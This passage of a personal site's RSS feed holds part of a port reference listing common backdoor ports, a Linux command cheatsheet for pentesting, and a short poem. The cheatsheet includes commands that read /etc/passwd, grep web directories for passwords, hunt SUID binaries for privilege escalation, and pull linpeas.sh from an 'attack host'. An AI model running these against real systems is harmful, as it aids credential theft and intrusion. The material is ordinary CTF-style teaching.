&lt;td&gt;TCP/UDP&lt;/td&gt;
&lt;td&gt;EtherNet/IP&lt;/td&gt;
&lt;td&gt;ICS/SCADA.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id=&quot;common-backdoor-and-shell-ports&quot;&gt;Common backdoor and shell ports&lt;/h2&gt;
&lt;p&gt;Ports that often mean an attacker already touched the box, or a listener you set.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1080&lt;/td&gt;
&lt;td&gt;SOCKS proxy, sometimes a pivot.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1337&lt;/td&gt;
&lt;td&gt;Common custom backdoor.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4444&lt;/td&gt;
&lt;td&gt;Metasploit default handler.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6666 / 6667&lt;/td&gt;
&lt;td&gt;IRC, historic botnet C2.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12345&lt;/td&gt;
&lt;td&gt;NetBus.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;31337&lt;/td&gt;
&lt;td&gt;Back Orifice, “elite” backdoor.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id=&quot;fast-lookups&quot;&gt;Fast lookups&lt;/h2&gt;
&lt;p&gt;Nmap prints the service guess from &lt;code&gt;/etc/services&lt;/code&gt;. Read the real name of a numeric port:&lt;/p&gt;
&lt;div class=&quot;expressive-code&quot;&gt;&lt;figure class=&quot;frame&quot;&gt;&lt;figcaption class=&quot;header&quot;&gt;&lt;/figcaption&gt;&lt;pre data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;grep &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-w&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;6379&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;/etc/services&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;copy&quot;&gt;&lt;div aria-live=&quot;polite&quot;&gt;&lt;/div&gt;&lt;button title=&quot;Copy to clipboard&quot; data-copied=&quot;Copied!&quot; data-code=&quot;grep -w 6379 /etc/services&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;p&gt;Search a service by name to find its default port:&lt;/p&gt;
&lt;div class=&quot;expressive-code&quot;&gt;&lt;figure class=&quot;frame&quot;&gt;&lt;figcaption class=&quot;header&quot;&gt;&lt;/figcaption&gt;&lt;pre data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;grep &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-iw&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;redis&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;/etc/services&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;copy&quot;&gt;&lt;div aria-live=&quot;polite&quot;&gt;&lt;/div&gt;&lt;button title=&quot;Copy to clipboard&quot; data-copied=&quot;Copied!&quot; data-code=&quot;grep -iw redis /etc/services&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;Do not trust the default map. Run &lt;code&gt;-sV&lt;/code&gt; and read the banner. A service on a non-standard port is common on HTB-like boxes and is exactly what a quick scan misses.&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>Linux Commands Cheatsheet</title><link>https://cadevue.dev/articles/linux-core</link><guid isPermaLink="true">https://cadevue.dev/articles/linux-core</guid><description>Useful linux commands cheatsheet for pentesting use</description><pubDate>Wed, 07 Oct 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;listing-directories&quot;&gt;Listing Directories&lt;/h2&gt;
&lt;p&gt;List everything, long form, with hidden files and human sizes:&lt;/p&gt;
&lt;div class=&quot;expressive-code&quot;&gt;&lt;figure class=&quot;frame&quot;&gt;&lt;figcaption class=&quot;header&quot;&gt;&lt;/figcaption&gt;&lt;pre data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;ls &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-lah&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;copy&quot;&gt;&lt;div aria-live=&quot;polite&quot;&gt;&lt;/div&gt;&lt;button title=&quot;Copy to clipboard&quot; data-copied=&quot;Copied!&quot; data-code=&quot;ls -lah&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;p&gt;Walk a tree without &lt;code&gt;cd&lt;/code&gt;-ing around:&lt;/p&gt;
&lt;div class=&quot;expressive-code&quot;&gt;&lt;figure class=&quot;frame&quot;&gt;&lt;figcaption class=&quot;header&quot;&gt;&lt;/figcaption&gt;&lt;pre data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;ls &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-R&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;/etc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;copy&quot;&gt;&lt;div aria-live=&quot;polite&quot;&gt;&lt;/div&gt;&lt;button title=&quot;Copy to clipboard&quot; data-copied=&quot;Copied!&quot; data-code=&quot;ls -R /etc&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;p&gt;Find files by name anywhere on the box:&lt;/p&gt;
&lt;div class=&quot;expressive-code&quot;&gt;&lt;figure class=&quot;frame&quot;&gt;&lt;figcaption class=&quot;header&quot;&gt;&lt;/figcaption&gt;&lt;pre data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;find &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-name&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;&quot;*.conf&quot;&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; 2&amp;gt;&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;/dev/null&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;copy&quot;&gt;&lt;div aria-live=&quot;polite&quot;&gt;&lt;/div&gt;&lt;button title=&quot;Copy to clipboard&quot; data-copied=&quot;Copied!&quot; data-code=&quot;find / -name &amp;quot;*.conf&amp;quot; 2&gt;/dev/null&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;2&amp;gt;/dev/null&lt;/code&gt; drops the permission-denied noise so the hits are readable.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;reading-content&quot;&gt;Reading Content&lt;/h2&gt;
&lt;p&gt;Print a whole file:&lt;/p&gt;
&lt;div class=&quot;expressive-code&quot;&gt;&lt;figure class=&quot;frame&quot;&gt;&lt;figcaption class=&quot;header&quot;&gt;&lt;/figcaption&gt;&lt;pre data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;cat &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;/etc/passwd&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;copy&quot;&gt;&lt;div aria-live=&quot;polite&quot;&gt;&lt;/div&gt;&lt;button title=&quot;Copy to clipboard&quot; data-copied=&quot;Copied!&quot; data-code=&quot;cat /etc/passwd&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;p&gt;Page through a long file (&lt;code&gt;q&lt;/code&gt; to quit, &lt;code&gt;/&lt;/code&gt; to search):&lt;/p&gt;
&lt;div class=&quot;expressive-code&quot;&gt;&lt;figure class=&quot;frame&quot;&gt;&lt;figcaption class=&quot;header&quot;&gt;&lt;/figcaption&gt;&lt;pre data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;less &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;/var/log/auth.log&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;copy&quot;&gt;&lt;div aria-live=&quot;polite&quot;&gt;&lt;/div&gt;&lt;button title=&quot;Copy to clipboard&quot; data-copied=&quot;Copied!&quot; data-code=&quot;less /var/log/auth.log&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;p&gt;First or last lines of a file:&lt;/p&gt;
&lt;div class=&quot;expressive-code&quot;&gt;&lt;figure class=&quot;frame&quot;&gt;&lt;figcaption class=&quot;header&quot;&gt;&lt;/figcaption&gt;&lt;pre data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;head &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-n&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;file&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;tail &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-n&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;file&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;copy&quot;&gt;&lt;div aria-live=&quot;polite&quot;&gt;&lt;/div&gt;&lt;button title=&quot;Copy to clipboard&quot; data-copied=&quot;Copied!&quot; data-code=&quot;head -n 20 filetail -n 20 file&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;p&gt;Follow a file as it grows:&lt;/p&gt;
&lt;div class=&quot;expressive-code&quot;&gt;&lt;figure class=&quot;frame&quot;&gt;&lt;figcaption class=&quot;header&quot;&gt;&lt;/figcaption&gt;&lt;pre data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;tail &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-f&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;/var/log/syslog&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;copy&quot;&gt;&lt;div aria-live=&quot;polite&quot;&gt;&lt;/div&gt;&lt;button title=&quot;Copy to clipboard&quot; data-copied=&quot;Copied!&quot; data-code=&quot;tail -f /var/log/syslog&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;h2 id=&quot;searching&quot;&gt;Searching&lt;/h2&gt;
&lt;p&gt;Search inside files, recursively, with line numbers:&lt;/p&gt;
&lt;div class=&quot;expressive-code&quot;&gt;&lt;figure class=&quot;frame&quot;&gt;&lt;figcaption class=&quot;header&quot;&gt;&lt;/figcaption&gt;&lt;pre data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;grep &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-rin&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;&quot;password&quot;&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;/var/www&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; 2&amp;gt;&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;/dev/null&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;copy&quot;&gt;&lt;div aria-live=&quot;polite&quot;&gt;&lt;/div&gt;&lt;button title=&quot;Copy to clipboard&quot; data-copied=&quot;Copied!&quot; data-code=&quot;grep -rin &amp;quot;password&amp;quot; /var/www 2&gt;/dev/null&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;p&gt;Pull just the matching part out of a stream:&lt;/p&gt;
&lt;div class=&quot;expressive-code&quot;&gt;&lt;figure class=&quot;frame&quot;&gt;&lt;figcaption class=&quot;header&quot;&gt;&lt;/figcaption&gt;&lt;pre data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;grep &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-oP&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;&apos;\d+\.\d+\.\d+\.\d+&apos;&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;file&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;copy&quot;&gt;&lt;div aria-live=&quot;polite&quot;&gt;&lt;/div&gt;&lt;button title=&quot;Copy to clipboard&quot; data-copied=&quot;Copied!&quot; data-code=&quot;grep -oP &amp;#x27;\d+\.\d+\.\d+\.\d+&amp;#x27; file&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;h2 id=&quot;users-and-permissions&quot;&gt;Users and Permissions&lt;/h2&gt;
&lt;p&gt;Who am I and what groups am I in:&lt;/p&gt;
&lt;div class=&quot;expressive-code&quot;&gt;&lt;figure class=&quot;frame&quot;&gt;&lt;figcaption class=&quot;header&quot;&gt;&lt;/figcaption&gt;&lt;pre data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;id&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;copy&quot;&gt;&lt;div aria-live=&quot;polite&quot;&gt;&lt;/div&gt;&lt;button title=&quot;Copy to clipboard&quot; data-copied=&quot;Copied!&quot; data-code=&quot;id&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;p&gt;What can I run as another user:&lt;/p&gt;
&lt;div class=&quot;expressive-code&quot;&gt;&lt;figure class=&quot;frame&quot;&gt;&lt;figcaption class=&quot;header&quot;&gt;&lt;/figcaption&gt;&lt;pre data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;sudo &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-l&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;copy&quot;&gt;&lt;div aria-live=&quot;polite&quot;&gt;&lt;/div&gt;&lt;button title=&quot;Copy to clipboard&quot; data-copied=&quot;Copied!&quot; data-code=&quot;sudo -l&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;p&gt;Find files with the SUID bit set, a common privesc lead:&lt;/p&gt;
&lt;div class=&quot;expressive-code&quot;&gt;&lt;figure class=&quot;frame&quot;&gt;&lt;figcaption class=&quot;header&quot;&gt;&lt;/figcaption&gt;&lt;pre data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;find &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-perm&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-4000&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-type&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; 2&amp;gt;&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;/dev/null&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;copy&quot;&gt;&lt;div aria-live=&quot;polite&quot;&gt;&lt;/div&gt;&lt;button title=&quot;Copy to clipboard&quot; data-copied=&quot;Copied!&quot; data-code=&quot;find / -perm -4000 -type f 2&gt;/dev/null&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;h2 id=&quot;processes-and-network&quot;&gt;Processes and Network&lt;/h2&gt;
&lt;p&gt;Running processes:&lt;/p&gt;
&lt;div class=&quot;expressive-code&quot;&gt;&lt;figure class=&quot;frame&quot;&gt;&lt;figcaption class=&quot;header&quot;&gt;&lt;/figcaption&gt;&lt;pre data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;ps &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;aux&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;copy&quot;&gt;&lt;div aria-live=&quot;polite&quot;&gt;&lt;/div&gt;&lt;button title=&quot;Copy to clipboard&quot; data-copied=&quot;Copied!&quot; data-code=&quot;ps aux&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;p&gt;Listening ports and the process behind each:&lt;/p&gt;
&lt;div class=&quot;expressive-code&quot;&gt;&lt;figure class=&quot;frame&quot;&gt;&lt;figcaption class=&quot;header&quot;&gt;&lt;/figcaption&gt;&lt;pre data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;ss &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-tulpn&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;copy&quot;&gt;&lt;div aria-live=&quot;polite&quot;&gt;&lt;/div&gt;&lt;button title=&quot;Copy to clipboard&quot; data-copied=&quot;Copied!&quot; data-code=&quot;ss -tulpn&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;h2 id=&quot;file-transfer&quot;&gt;File Transfer&lt;/h2&gt;
&lt;p&gt;Serve the current folder over HTTP to pull tools onto the box:&lt;/p&gt;
&lt;div class=&quot;expressive-code&quot;&gt;&lt;figure class=&quot;frame&quot;&gt;&lt;figcaption class=&quot;header&quot;&gt;&lt;/figcaption&gt;&lt;pre data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;python3 &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-m&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;http.server&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;8000&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;copy&quot;&gt;&lt;div aria-live=&quot;polite&quot;&gt;&lt;/div&gt;&lt;button title=&quot;Copy to clipboard&quot; data-copied=&quot;Copied!&quot; data-code=&quot;python3 -m http.server 8000&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;p&gt;Download a file from your attack host:&lt;/p&gt;
&lt;div class=&quot;expressive-code&quot;&gt;&lt;figure class=&quot;frame&quot;&gt;&lt;figcaption class=&quot;header&quot;&gt;&lt;/figcaption&gt;&lt;pre data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;wget &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;http://10.10.10.10:8000/linpeas.sh&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;curl &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-O&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;http://10.10.10.10:8000/linpeas.sh&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;copy&quot;&gt;&lt;div aria-live=&quot;polite&quot;&gt;&lt;/div&gt;&lt;button title=&quot;Copy to clipboard&quot; data-copied=&quot;Copied!&quot; data-code=&quot;wget http://10.10.10.10:8000/linpeas.shcurl -O http://10.10.10.10:8000/linpeas.sh&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;If &lt;code&gt;wget&lt;/code&gt; and &lt;code&gt;curl&lt;/code&gt; are both missing, &lt;code&gt;python3&lt;/code&gt;, &lt;code&gt;nc&lt;/code&gt;, or &lt;code&gt;/dev/tcp&lt;/code&gt; usually still work.&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>Sustainable</title><link>https://cadevue.dev/articles/sustainable</link><guid isPermaLink="true">https://cadevue.dev/articles/sustainable</guid><description>a short poem, if u could say one</description><pubDate>Thu, 13 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img alt=&quot;A large tree with a dense canopy of green and yellowish leaves, sprawling branches, and warm sunlight filtering through the foliage&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;1280&quot; height=&quot;495&quot; src=&quot;https://cadevue.dev/_astro/place.D77qKzva_uh0oM.webp&quot;&gt;&lt;/p&gt;
&lt;p&gt;How excited we were upon the clouds &lt;br&gt;
Said we’d jet through them and build a castle&lt;br&gt;
Not today, but it’s okay &lt;br&gt;
As long as we’re sustainable&lt;br&gt;&lt;/p&gt;
&lt;p&gt;Do you remember about the stars&lt;br&gt;
Said we’d gleam so bright and steal their shine&lt;br&gt;
Maybe tomorrow, but it’s okay&lt;br&gt;
As long as we’re sustainable&lt;br&gt;&lt;/p&gt;
&lt;p&gt;We mused about crossing the ocean&lt;br&gt;
Said we’d conquer the tides and catch every fish&lt;br&gt;
Not easy, but it’s okay&lt;br&gt;
As long as we’re sustainable&lt;br&gt;&lt;/p&gt;
&lt;p&gt;… &lt;br&gt;
This morning I saw clouds crumble in raging gray&lt;br&gt;
The stars’ shine couldn’t reach my lingering fog&lt;br&gt;
The dark ocean climbed and swallowed my face&lt;br&gt;&lt;/p&gt;
&lt;p&gt;What a waste&lt;br&gt;
We’re no longer sustainable&lt;/p&gt;
</content:encoded></item></channel></rss>